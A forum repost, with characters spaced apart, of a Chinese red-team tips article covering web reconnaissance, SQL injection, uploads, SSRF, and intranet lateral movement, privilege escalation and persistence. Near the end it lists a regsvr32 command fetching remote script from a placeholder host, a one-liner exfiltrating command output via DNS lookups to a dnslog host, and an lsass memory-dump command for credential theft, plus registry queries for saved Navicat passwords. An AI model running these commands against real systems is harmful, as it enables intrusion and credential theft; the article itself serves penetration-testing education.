设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [18367] 2021-06-24_干货红队小技巧
返回列表 发新帖
查看: 2|回复: 0

[18367] 2021-06-24_干货红队小技巧

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2021-06-24_干货红队小技巧 干 货 | 红 队 小 技 巧 阿 鑫 鑫 鑫 鑫 哥 哥   H A C K 之 道   2 0 2 1 - 0 6 - 2 4 收 录 于 话 题   # 红 队 技 巧   , 1 个 前 言 前 言 有 一 段 时 间 没 有 写 文 章 了 ， 也 不 知 写 什 么 ， 毕 竟 从 攻 击 方 换 成 防 守 方 ， 乙 方 换 到 甲 方 ， 还 有 些 许 不 适 应 。 。 。 但 还 是 决 定 把 自 己 接 触 渗 透 所 积 累 的 东 西 也 拿 出 分 享 ， 不 管 糟 粕 ， 还 是 大 伙 觉 得 我 分 享 的 有 用 （ 那 阿 鑫 自 然 是 很 开 心 ） ， 希 望 能 帮 到 还 在 学 习 路 上 的 朋 友 ， 文 章 若 有 错 误 ， 请 及 时 联 系 我 指 出 ， 我 也 不 想 误 导 才 学 习 的 朋 友 。 此 外 ， 本 文 为 口 嗨 文 ， 基 本 在 说 思 路 ， 没 有 实 操 。 w e b 端 端 ( 1 ) 信 息 收 集 信 息 收 集 收 集 c m s 信 息 ： 1 . 通 过 云 溪 ， w a p p l a y z e r ， f o f a ， 以 及 g i t h u b 上 各 位 表 哥 写 的 b a n e r 等 插 件 脚 本 收 集 2 . 网 站 后 台 ， 正 页 , p o w e r   b y   " x x x " ， 以 及 r o b o t s . t x t 3 . 根 据 经 验 判 断 ， 比 如 网 站 的 i c o n （ j o o m l a ， d e d e ） ， 目 录 框 架 结 构 ( w o r d p r e s s , d i s c u z ! ) 这 些 有 明 显 特 征 的 4 . 大 框 架 类 似 ， 二 次 模 改 过 来 的 ， 比 如 （ o n e t h i n k - - > t h i n k p h p ） 5 . 报 错 关 键 字 提 取 ， 去 g i t h u b 找 有 没 有 相 似 源 码 以 及 类 似 函 数 ， 报 错 信 息 可 以 用 g o o g l e 语 法 收 集 w a r n i n g   e r r o r   n o t   e x i s t 等 等 。 6 . 一 些 c m s 可 以 直 接 通 过 m s f 打 u s e   e x p l o i t / u n i x / h t t p / l a r a v e l _ t o k e n _ u n s e r i a l i z e _ e x e c   / / 关 于 l a r a v e l   R C E u s e   a u x i l i a r y / a d m i n / c i s c o / c i s c o _ a s a _ e x t r a b a c o n   / / 关 于 思 科 的 设 备 ， C V E - 2 0 1 6 - 6 3 6 6 收 集 端 口 ： 1 . 这 么 收 集 端 口 没 什 么 好 说 ， 方 法 就 那 么 几 种 2 . 一 些 端 口 应 该 知 道 的 ， 开 了 2 1 ， 2 2 等 端 口 ， f t p 匿 名 访 问 必 须 尝 试 （ 如 果 匿 名 登 陆 成 功 无 法 下 载 文 件 ， 尝 试 加 入 - - n o - p a s s i v e 参 数 ） ， s s h 弱 口 令 必 须 尝 试 一 下 （ 各 类 数 据 库 都 外 联 弱 口 令 尝 试 一 下 ） ， 8 1 ， 8 8 ， 8 8 8 常 见 的 w e b 端 口 ， 3 8 9 是 l d a p 的 默 认 端 口 ， 内 网 里 面 可 能 为 域 控 ， 4 4 5 ( 有 些 站 你 怎 么 打 都 日 不 进 去 ， 开 了 4 4 5 的 公 网 配 合 m s f 1 7 0 1 0 扫 一 波 ) ， 9 9 9 （ p h p m y a d m i n ） ， 1 2 3 4 （ 可 能 为 r e d i s ） , 6 3 7 9 ， 3 3 8 9 （ g u e s t ， s h i f t 都 尝 试 一 下 ） ， 6 5 8 8 （ 护 卫 神 界 面 ） ， 7 0 0 0 0 到 1 0 0 0 0 的 基 本 上 是 j a v a 的 服 务 ， 重 点 关 注 w e b l o g i c , j b o s s ， s h i r o , f a s t j s o n 。 其 他 一 些 高 端 口 ， 可 能 为 宝 塔 ， 或 者 边 缘 业 务 的 端 口 。 收 集 子 域 名 ： 1 . 收 集 的 意 义 在 于 配 合 收 集 的 c m s 和 端 口 信 息 撕 开 口 子 2 . 看 看 有 没 有 域 传 送 漏 洞 ， 有 的 话 帮 你 找 完 3 . 多 去 找 找 某 些 a p i ， 某 些 a p i 也 可 以 帮 你 找 全 （ 其 所 有 相 关 资 产 ） 。 4 . 某 些 网 站 有 s q l 注 入 ， 但 是 找 不 到 后 台 ， 可 能 就 在 子 域 名 ， 子 域 名 可 能 还 有 p h p m y a d m i n 目 录 扫 描 1 . 拿 到 站 先 不 要 直 接 开 扫 ， 先 把 b p 打 开 ， 自 己 点 一 下 网 站 的 功 能 ， 然 后 在 t a r g e t 那 一 栏 b p 会 帮 我 们 爬 出 大 体 框 架 2 . 如 果 i p 被 b a n 了 ， 将 线 程 调 低 ， 或 者 在 找 一 个 小 众 一 点 的 扫 描 器 ， 不 行 的 话 自 己 写 一 个 ， p y ， 很 快 的 。 作 者 ： 阿 鑫 鑫 鑫 鑫 哥 哥 ， 转 载 于 先 知 社 区 。
3 . 尽 量 通 过 目 录 的 结 构 得 知 为 什 么 c m s ， 有 没 有 上 传 的 编 辑 器 （ f c k ， e w e b 等 ， 很 多 时 候 比 如 我 们 通 过 注 入 找 到 网 站 后 台 账 号 密 码 ， 成 功 进 入 后 台 ， 但 是 后 台 功 能 单 一 以 至 于 拿 不 下 s h e l l ， 这 个 时 候 最 好 的 方 法 就 是 去 找 新 的 资 源 ， 当 我 们 发 现 一 个 漏 洞 很 容 易 被 这 个 漏 洞 束 缚 从 而 思 维 无 法 发 散 ） 我 们 找 到 A 服 务 器 的 后 台 ： a d m i n / a d m i n l o g i n . a s p （ 有 账 号 密 码 但 是 拿 不 下 ） 这 个 时 候 不 是 一 直 想 突 破 后 台 ， 而 是 发 现 新 的 资 源 a d m i n / e w e b e d i t o r / a d m i n _ l o g i n . a s p （ 从 编 辑 器 入 手 ） 4 . 比 如 扫 到 了 a x g g . x m l 这 个 敏 感 文 件 ， 它 确 实 存 在 却 无 法 访 问 ， 比 如 w w w . a x g g . c o m / h d x / h x d / a x g g . x m l   我 们 无 法 访 问 ， 可 以 做 一 下 尝 试 w w w . a x g g . c o m / h d x / . h x d / a x g g . x m l w w w . a x g g . c o m / h d x / ; a b c d / h x d / a x g g . x m l w w w . a x g g . c o m / h d x / a b c d / . . / h x d / a x g g . x m l 5 . . g i t   s v n 如 果 觉 得 还 原 的 不 全 ， 可 以 去 k a l i 重 新 试 试 ， 多 下 几 个 工 具 6 . 日 志 其 他 信 息 收 集 1 . c 段 ， 旁 站 ， f o f a 搜 索 i c o n ， h e a d e r 。 2 . p h p i n f o （ 收 集 绝 对 路 径 ， 真 实 i p ， 绕 过 x s s 的 h t t p o n l y ( $ _ S E R V E R [ “ H T T P _ C O O K I E ” ] ) ， 存 在 o c i 8 推 测 数 据 库 可 能 为 o r a c l e ， ） , p h p m y a d m i n ， a d m i n e r ， 以 及 疑 似 的 后 门 （ 同 行 的 马 1 . 我 们 可 以 用 p r o f i l e = a 看 看 能 不 能 溢 出 2 . f 1 2 里 面 搜 索 f o n t ， 可 能 会 出 现 密 码 ） 3 . 同 模 版 网 站 4 . 护 网 的 话 ， 学 校 医 院 的 学 号 和 工 号 ， 可 以 根 据 “ 奖 学 金 & & 值 班 表 ”   f i l e t y p e 等 关 键 字 搜 索 5 . 扫 到 了 4 0 1 的 界 面 ， 可 以 加 入 X - C u s t o m - I P - A u t h o r i z a t i o n :   1 2 7 . 0 . 0 . 1 6 . 如 果 在 登 录 框 处 ， 我 们 可 以 查 看 其 J s 文 件 ， 测 试 密 码 不 大 可 能 泄 露 ， 但 是 说 不 定 能 找 到 其 他 组 件 ， 比 如 w e b s e r v i c e s ， 这 个 存 在 注 入 。 ( 2 ) s q l 注 入 注 入 1 . 不 论 是 前 后 台 ， 如 果 可 以 上 传 图 片 ， 但 是 上 传 绕 不 过 ， 可 以 考 虑 图 片 名 改 为 注 入 p a y l o a d ， 看 看 有 没 有 二 次 注 入 2 . 如 果 存 在 注 入 ， 好 好 利 用 b p ， g e t / p o s t 切 换 ， 参 数 污 染 ， 分 块 ， x - f o r w a r d - f o r 改 为 1 2 7 . 0 . 0 . 1 ， a p p l i c a t i o n / 数 据 流 也 可 以 改 ， b p 里 面 的 一 些 非 主 流 字 符 也 可 以 删 除 掉 ， 比 如 以 及 垃 圾 数 据 3 . 至 于 对 抗 w a f ， 最 重 要 的 是 要 清 楚 w a f 的 规 则 ， 拦 截 的 参 数 ， 再 来 进 一 步 绕 过 ， 具 体 可 以 参 考 我 的 上 一 篇 文 章 。 h t t p s : / / x z . a l i y u n . c o m / t / 9 2 6 8 如 果 读 友 们 觉 得 写 的 还 不 错 ， 我 后 面 有 时 间 一 定 把 其 余 的 漏 洞 以 我 目 前 的 认 知 基 础 详 细 的 讲 一 遍 。 4 . 遇 到 一 个 c m s 存 在 盲 注 ， 数 据 出 的 很 慢 ， 我 们 可 以 自 己 本 地 搭 建 一 个 ， 查 看 账 号 密 码 放 在 哪 个 表 单 。 5 . 比 如 一 个 登 录 框 ， 登 陆 的 时 候 叫 你 选 部 门 ， 可 能 账 号 密 码 处 没 有 注 入 ， 但 是 你 从 人 事 部 选 择 技 术 部 这 一 步 抓 包 ， 就 会 有 注 入 。 6 . 比 如 用 u n i o n 或 者 报 错 打 p a y l o a d ， 但 是 没 有 数 据 回 显 ， 可 以 看 看 f 1 2 里 面 是 不 是 有 h i d d e n 属 性
7 . s q l s e r v e r 的 x p c m d s h e l l 写 一 句 话 用 ^ 转 义 失 败 ， 可 以 尝 试 c e r t u i l i 的 h e x 写 入 ( 3 ) 逻 辑 漏 洞 逻 辑 漏 洞 1 . 存 在 注 入 拿 下 了 账 号 ， 但 是 a d m i n 的 账 号 h a s h 解 不 开 ， 可 以 在 后 台 尝 试 修 改 密 码 ， 看 是 否 存 在 逻 辑 漏 洞 2 . 关 于 爆 破 的 后 台 验 证 码 ， 可 以 更 换 为 万 能 验 证 码 （ 0 0 0 0 ， 8 8 8 8 我 尝 试 均 失 败 ， 不 知 哪 儿 听 说 的 ， 哈 哈 哈 哈 ） ， 当 然 也 可 以 设 置 空 验 证 码 ， 或 者 将 验 证 码 这 个 参 数 给 删 除 掉 。 3 . 注 册 账 号 的 时 候 可 以 尝 试 a d m i n 空 格 空 格 空 格 空 格 空 格 空 格 ， 看 看 可 不 可 以 覆 盖 ( 4 ) 上 传 上 传 1 . 条 件 竞 争 其 实 挺 多 的 ， t p 写 入 s e s s i o n 也 可 以 想 到 条 件 竞 争 2 . 二 次 渲 染 ， 不 仅 是 要 了 解 ， 而 且 要 大 环 境 复 线 。 3 . b p 里 面 的 各 类 参 数 修 改 ， 已 经 说 的 很 多 了 。 4 . 看 看 有 没 有 . u s e r . i n i 这 个 文 件 ， 有 的 话 走 大 运 5 . 白 名 单 ， 这 类 没 有 解 析 漏 洞 或 者 开 发 商 本 身 的 漏 洞 ， 就 别 想 着 绕 过 了 。 ( 5 ) x s s 1 . X S S 无 非 是 打 c o o k i e ， 钓 鱼 ， 像 更 高 端 的 操 作 比 如 最 近 的 c h r o m e , x m i n d 等 x s s 上 线 c s ， 但 是 在 实 际 项 目 中 是 可 遇 不 可 求 的 ， 真 正 需 要 注 意 的 还 是 x s s 一 些 p a y l o a d 的 拓 展 以 及 打 到 了 c o o k i e 怎 么 绕 过 h t t p o n l y 。 其 实 钓 鱼 的 话 可 以 配 合 弱 口 令 去 后 台 看 看 能 不 能 改 一 些 模 版 ， 虽 然 现 在 各 类 客 服 的 安 全 意 识 已 经 很 高 了 ， 但 是 有 些 时 候 能 不 能 拿 下 项 目 还 真 的 指 望 他 们 。 ( 6 ) s s r f 1 . s s r f 出 现 的 位 置 ， 其 实 b u r p 抓 包 ， 不 管 是 g e t 的 参 数 还 是 p o s t 的 参 数 ， 我 们 都 可 以 直 接 f u z z i n g ， 就 比 如 p o s t 的 数 据 ， i m a g e = a d m i n ， 我 们 i m a g e = h t t p : / / v p s : 1 2 3 4   都 要 不 断 尝 试 。 不 一 定 非 要 在 网 上 说 的 那 几 个 位 置 才 能 想 到 s s r f 。 2 . 认 清 s s r f 的 作 用 ， 像 s s r f - > g e t s h e l l 真 的 太 少 了 ， 都 是 配 合 s s r f 收 集 信 息 打 组 合 拳 ， 就 比 如 配 合 r e d i s 那 s h e l l ， 首 先 是 对 面 可 能 存 在 r e d i s ， 然 后 为 授 权 。 然 后 写 东 西 的 时 候 不 出 玄 学 问 题 ， 就 行 了 。 3 . s s r f 最 主 要 的 几 个 功 能 是 收 集 服 务 器 的 真 实 I P ， 探 测 内 部 文 件 ， 比 如 看 看 能 不 能 通 过 g o p h e r , f i l e 等 协 议 读 取 东 西 ， 如 果 能 探 测 w e b 的 端 口 ， 可 以 看 看 找 一 些 g e t 参 数 就 能 拿 东 西 的 漏 洞 ， 比 如 g e t 型 的 s q l 注 入 （ （ 7 ） ） x x e , c s r f 1 . 首 先 x x e 我 们 也 可 以 先 将 我 们 的 c o n t e n t - t y p e 改 为 我 们 的 a p p l i c a t i o n / x m l ， 不 管 他 是 a p p l i c a t i o n / d a t a , a p p l i c a t i o n / j s o n ， 都 可 以 改 成 a p p l i c a t i o n / x m l ， 然 后 看 看 r e s p o n s e 对 比 哈 ， 如 果 有 区 别 的 话 可 以 F U Z Z I N G 一 哈 x x e 的 p a y l o a d 2 . 关 于 c s r f ， 其 实 c s r f 可 以 简 单 的 理 解 借 刀 杀 人 ， 用 当 前 目 标 的 权 限 去 做 他 能 做 的 事 情 , 如 果 此 后 台 管 理 员 能 编 辑 模 板 插 入 脚 本 代 码 ， 那 么 我 们 就 可 以 构 造 出 P O C 去 g e t s h e l l ， 但 是 话 又 说 回 来 ， 这 2 个 洞 我 反 正 在 项 目 中 遇 到 是 很 少 的 。 内 网 内 网 （ （ 1 ） 信 息 收 集 ） 信 息 收 集 其 实 网 上 有 很 多 讲 内 网 信 息 收 集 ， 说 了 很 多 命 令 ， 但 是 都 用 的 到 吗 ？ 因 为 我 们 收 集 到 不 同 的 信 息 会 对 我 们 的 渗 透 思 路 完 全 不 同 ， 内 网 不 像 w e b ， 你 在 工 作 组 和 在 域 环 境 打 法 是 完 全 不 同 的 ， 你 在 域 环 境 找 到 域 控 和 没 找 到 域 控 是 2 回 事 。 但 是 渗 透 的 本 质 还 是 不 断 地 收 集 信 息 然 后 横 向 。 首 先 应 该 收 集 的 是 我 们 当 前 控 制 机 器 的 信 息 ， 杀 软 有 哪 些 ， 你 要 是 不 提 权 的 话 可 以 不 看 补 丁 ， 是 否 在 域 环 境 ， 是 否 纯 在 I P C 空 连 接 ， 共 享 ， 机 器 上 的 一 些 t x t , x l s x , 一 般 在 桌 面 d i r   / b   / s   * . t x t w m i c   s h a r e   g e t   n a m e , p a t h , s t a t u s   查 看 共 享 w m i c   d a t a   f i l e   w h e r e   " f i l e n a m e = ' t e s t '   a n d   e x t e n s i o n = ' j p g ' "   g e t   c a p t i o n p s ： 如 果 没 有 找 到 桌 面 的 位 置 ， 有 些 国 外 的 机 器 或 者 修 改 过 的 项 目 r e g   q u e r y   " H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r U s e r   S h e l l   F o l d e r s "   / s   通 过 注 册 表 找 到 是 否 存 在 t g , x s h e l l ， n a v i c a t 等 软 件 ， 这 些 都 可 以 进 一 步 搜 集 额 外 的 东 西 破 解 n a v i c a t 本 机 的 w i f i 密 码 （ 撞 密 码 ） ， 本 机 浏 览 器 的 书 签 ， 保 存 的 密 码 （ 这 个 很 好 破 解 ， 比 如 内 网 历 史 记 录 访 问 过 一 个 1 9 2 . 1 6 8 . 7 . 1 5 / a d m i n . a s p x 这 个 网 站 ， 我 们 查 看 他 的 密 码 需 要 P i n ， 我 们 直 接 点 进 去 这 个 网 站 ， 然 后 f 1 2 把 h i d d e n 改 成 t x t 即 可 ） ， c o o k i e （ 因 为 有 些 要 I P 认 证 ， 所 以 用 c o o k i e ） ， R D P 的 凭 证 ， p u b l i c d o c u m e n t 这 个 位 置 ， 如 果 运 气 好 或 许 M i m i k a t z 可 以 破 解 出 来 ， 不 过 我 们 当 我 们 不 在 域 环 境 的 时 候 可 以 查 看 连 接 的 I P 帮 我 们 更 好 的 定 位 其 他 机 器 的 位 置 。 本 机 的 网 络 环 境 ， c 段 的 w e b 资 源 ， 数 据 库 位 置 ， 信 任 域 （ 前 提 是 我 们 是 在 域 环 境 ） ， 等 这 类 东 西 。 最 后 在 是 我 们 的 密 码 ， 凭 证 。 （ （ 2 ） 关 于 横 向 ） 关 于 横 向 其 实 横 向 的 强 弱 在 于 我 们 第 一 步 的 信 息 收 集 ， 道 理 大 家 都 知 道 ， 比 如 我 们 通 过 w e b 打 点 拿 下 一 台 服 务 器 ， 同 学 a 通 过 n a v i c a t 解 出 了 s q l s e r v e r 的 账 号 密 码 ， 在 看 了 一 下 c 段 的 机 器 名 或 者 开 的 端 口 ， 找 到 了 M y S Q L   H K E Y _ C U R R E N T _ U S E R S o f t w a r e P r e m i u m S o f t N a v i c a t S e r v e r s r e g   q u e r y   H K E Y _ C U R R E N T _ U S E R S O F T W A R E P r e m i u m S o f t N a v i c a t S e r v e r s   / s   / v   h o s t r e g   q u e r y   H K E Y _ C U R R E N T _ U S E R S O F T W A R E P r e m i u m S o f t N a v i c a t S e r v e r s   / s   / v   p w d r e g   q u e r y   H K E Y _ C U R R E N T _ U S E R S O F T W A R E P r e m i u m S o f t N a v i c a t S e r v e r s   / s   / v   U s e r N a m e M a r i a D B   H K E Y _ C U R R E N T _ U S E R S o f t w a r e P r e m i u m S o f t N a v i c a t M A R I A D B S e r v e r s M i c r o s o f t   S Q L   H K E Y _ C U R R E N T _ U S E R S o f t w a r e P r e m i u m S o f t N a v i c a t M S S Q L S e r v e r s O r a c l e   H K E Y _ C U R R E N T _ U S E R S o f t w a r e P r e m i u m S o f t N a v i c a t O r a S e r v e r s P o s t g r e S Q L   H K E Y _ C U R R E N T _ U S E R S o f t w a r e P r e m i u m S o f t N a v i c a t P G S e r v e r s S Q L i t e   H K E Y _ C U R R E N T U S E R S o f t w a r e P r e m i u m S o f t N a v i c a t S Q L i t e S e r v e r s
数 据 库 ， 然 后 在 通 过 s q l s e r v e r 的 I P C 空 连 接 配 合 g p c 泄 露 拿 到 了 密 码 ， 虽 然 这 个 例 子 举 得 太 过 理 想 和 拉 跨 ， 但 是 想 告 诉 读 者 朋 友 们 ， 我 们 一 定 要 对 信 息 收 集 这 个 概 念 在 每 一 台 我 们 能 控 制 的 服 务 器 运 用 到 极 致 ， 同 学 b 进 去 抓 密 码 ， p t h ， m s 1 7 0 1 0 （ 出 了 永 恒 之 蓝 ， 还 有 永 恒 冠 军 ， 永 恒 浪 漫 ， 就 是 原 生 p y ） ， 或 者 找 找 w e b 日 一 日 ， 发 现 日 求 不 动 ， 然 后 渗 透 结 束 。 虽 然 现 在 委 派 很 火 ， 但 是 我 想 说 的 委 派 基 本 上 是 大 集 团 方 便 管 理 ， 其 实 我 们 平 时 遇 到 的 普 通 域 环 境 很 少 用 的 到 ， 但 是 学 有 余 力 还 是 务 必 掌 握 ！ （ （ 3 ） 提 权 ） 提 权 说 到 提 权 ， 其 实 我 们 应 当 明 白 提 权 的 这 个 机 器 对 我 们 有 进 一 步 渗 透 的 意 义 ， 才 去 提 权 ， 比 如 我 在 一 个 域 环 境 ， 当 前 用 户 就 是 一 个 普 通 域 用 户 ， 是 一 个 普 通 的 员 工 机 器 ， 但 是 我 T M 就 想 一 个 烂 土 豆 提 到 s y s t e m ， 然 后 抓 密 码 ， 哎 ， 就 是 玩 儿 ， 但 是 真 没 必 要 。 什 么 时 候 需 要 提 ， 比 如 我 们 在 的 机 器 为 域 机 器 ， 但 是 当 前 用 户 却 是 本 地 用 户 ， 这 个 时 候 我 们 可 以 一 个 烂 土 豆 变 成 s y s t e m ， 然 后 查 看 域 用 户 ， 找 域 控 。 就 是 想 告 诉 大 家 别 没 有 思 路 的 时 候 就 提 权 ， 而 是 看 我 们 提 了 权 能 给 我 们 进 一 步 带 来 什 么 ， 当 我 们 渗 透 没 有 思 路 时 ， 就 回 顾 一 下 自 己 打 点 到 目 前 的 位 置 ， 是 不 是 每 一 步 的 信 息 收 集 都 收 集 好 了 。 （ （ 4 ） 权 限 维 持 ） 权 限 维 持 这 一 步 和 提 权 是 一 样 的 ， 我 们 应 该 明 白 什 么 时 候 需 要 权 限 维 持 ， 不 是 打 点 进 去 ， 一 个 p t h 上 了 三 四 太 机 器 ， 然 后 每 一 个 做 一 个 自 启 ， 或 者 直 接 注 册 表 修 改 添 加 隐 藏 用 户 ， 又 或 者 激 活 g u e s t 。 我 们 应 当 审 视 一 下 这 台 机 器 ， 他 有 没 有 进 一 步 利 用 的 价 值 再 去 做 权 限 维 持 ， 比 如 这 是 一 台 运 维 ， 或 者 I T 的 机 器 ， 怎 么 看 ， 看 这 台 机 器 的 组 ， 或 者 机 器 名 ， 还 有 桌 上 的 一 些 文 件 进 行 判 别 。 我 们 做 权 限 维 持 的 目 的 是 这 个 时 间 点 没 有 收 集 到 或 者 错 过 了 收 集 到 一 些 敏 感 的 东 西 ， 所 以 我 们 权 限 维 持 等 待 时 机 ， 比 如 键 盘 记 录 ， c m d 命 令 记 录 ， 如 果 是 l i n u x 的 ， 我 们 可 以 s s h 劫 持 。 常 用 的 权 限 维 持 技 巧 ， 自 启 动 ， 利 用 a c l 添 加 普 通 用 户 的 完 全 访 问 权 限 ， 利 用 D C S y n c 在 域 内 维 持 权 限 等 方 法 。 （ （ 5 ） 文 件 传 输 ） 文 件 传 输 网 上 也 说 了 很 多 ， 我 也 再 说 说 吧 ， 出 了 常 见 的 p y t h o n , c e r t u i l i , b i t a d m i n , w g e t , c u r l , f t p 等 j s , h t a ， v b s 等 这 类 脚 本 也 可 用 写 入 下 载 的 内 容 或 者 运 用 c s c 编 译 我 们 写 好 的 d o w o l o a d . c s 也 可 以 用 w m i c w m i c   p r o c e s s   c a l l   c r e a t e   " r e g s v r 3 2   / s   / n   / u   / i : h t t p : / / x x x x x : 1 3 3 7 / a s . t x t   s c r o b j . d l l " 这 样 调 用 （ （ 6 ） 内 网 的 一 些 小 技 巧 ） 内 网 的 一 些 小 技 巧 1 . 当 某 些 软 件 正 在 运 行 或 者 权 限 不 够 我 们 看 不 了 ， 我 们 可 以 c o p y 到 一 个 位 置 然 后 在 t y p e 2 . 如 果 某 些 环 境 出 现 中 文 名 而 且 我 们 的 c 2 工 具 因 为 字 符 不 能 识 别 无 法 正 常 渗 透 ， 可 以 考 虑 写 入 b a t 或 者 v b s 3 . 当 我 们 m s t s c 连 接 出 现 问 题 时 ， 我 们 可 以 m s t s c   / a d m i n   m s t s c   / c o n s o l e 4 . 当 我 们 e c h o 一 个 一 个 字 符 追 加 ， 但 是 换 行 了 ， 可 以 这 样 5 . 拿 到 s h e l l ， 但 是 c m d 没 有 回 显 c m d   / c   w h o a m i   >   t e m p   & &   c e r t u t i l   - e n c o d e   - f   t e m p   t e m p & & F O R   / F   " e o l = -   d e l i m s = "   % i   I N   ( t e m p )   D O   ( s e t   = % i   &   c m d   / c   n s l o o k u p   % _ : ~ 0 , - 1 % .   6 u t b 0 b . d n s l o g . c n ) & d e l   t e m p 6 . 如 若 3 3 8 9 登 不 上 ， 普 通 方 法 都 检 测 了 ， 试 试 n e t   s t o p   s h a r e d a c c e s s 关 闭 筛 选 ， 如 果 想 多 用 户 登 录 ， 可 以 尝 试 使 用 r d p w r a p 这 个 软 件 。 7 . e c h o   1 2 3   >   a x g g : : $ I N D E X _ A L L O C A T I O N   创 建 文 件 夹 ， 有 什 么 用 ， m y s q l   u d f 没 有 p l u g i n 的 时 候 删 除 ： r d   a x g g : : $ I N D E X _ A L L O C A T I O N 8 . 比 如 我 们 的 命 令 被 禁 用 或 者 匹 配 了 其 规 则 ， 其 余 思 路 自 由 发 展
9 . 当 我 们 遇 到 o w a 的 时 候 ， 只 要 将 H T T P 协 议 版 本 修 改 成 1 . 0 ， 然 后 去 掉 h t t p 头 里 面 的 H O S T 参 数 ， 会 返 回 服 务 器 所 在 的 内 网 I P ， 对 O W A 屡 试 不 爽 此 外 ， / o w a / a u t h / t r a c e . a x d 会 暴 露 O W A 版 本 和 内 网 的 代 理 I P 信 息 1 0 . 如 果 想 降 权 的 话 可 以 用 r u n a s 起 一 个 进 程 1 1 . 提 供 一 个 不 要 p r o d u m p 抓 l s a s s 的 方 法 t a s k l i s t   |   f i n d s t r   l s a s s . e x e   查 找 l s a s s 的 p i d 号 p o w e r s h e l l   - c   " r u n d l l 3 2   C : w i n d o w s s y s t e m 3 2 c o m s v c s . d l l ,   M i n i D u m p   5 9 2   D : w w w r o o t h u o d o n g l s a s s . d m p   f u l l " （ （ 7 ） 免 杀 ， ） 免 杀 ， d l l 劫 持 劫 持 , d l l 注 入 ， 委 派 ， 注 入 ， 委 派 ， b y p a s s   u a c 这 些 都 是 当 我 们 基 本 打 好 了 以 后 才 能 更 好 的 吸 收 和 掌 握 ， 网 上 也 有 很 多 师 傅 讲 过 ， 我 自 己 基 础 差 ， 就 不 限 丑 了 。 至 于 w e b 的 ， 我 上 传 了 一 些 P o c 在 我 的 g i t h u b ， 大 家 有 兴 趣 可 以 看 看 h t t p s : / / g i t h u b . c o m / x i n x i n 9 9 9 / E x p - c o l l e c t 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ” 阅 读 原 文
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:41 , Processed in 0.503143 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表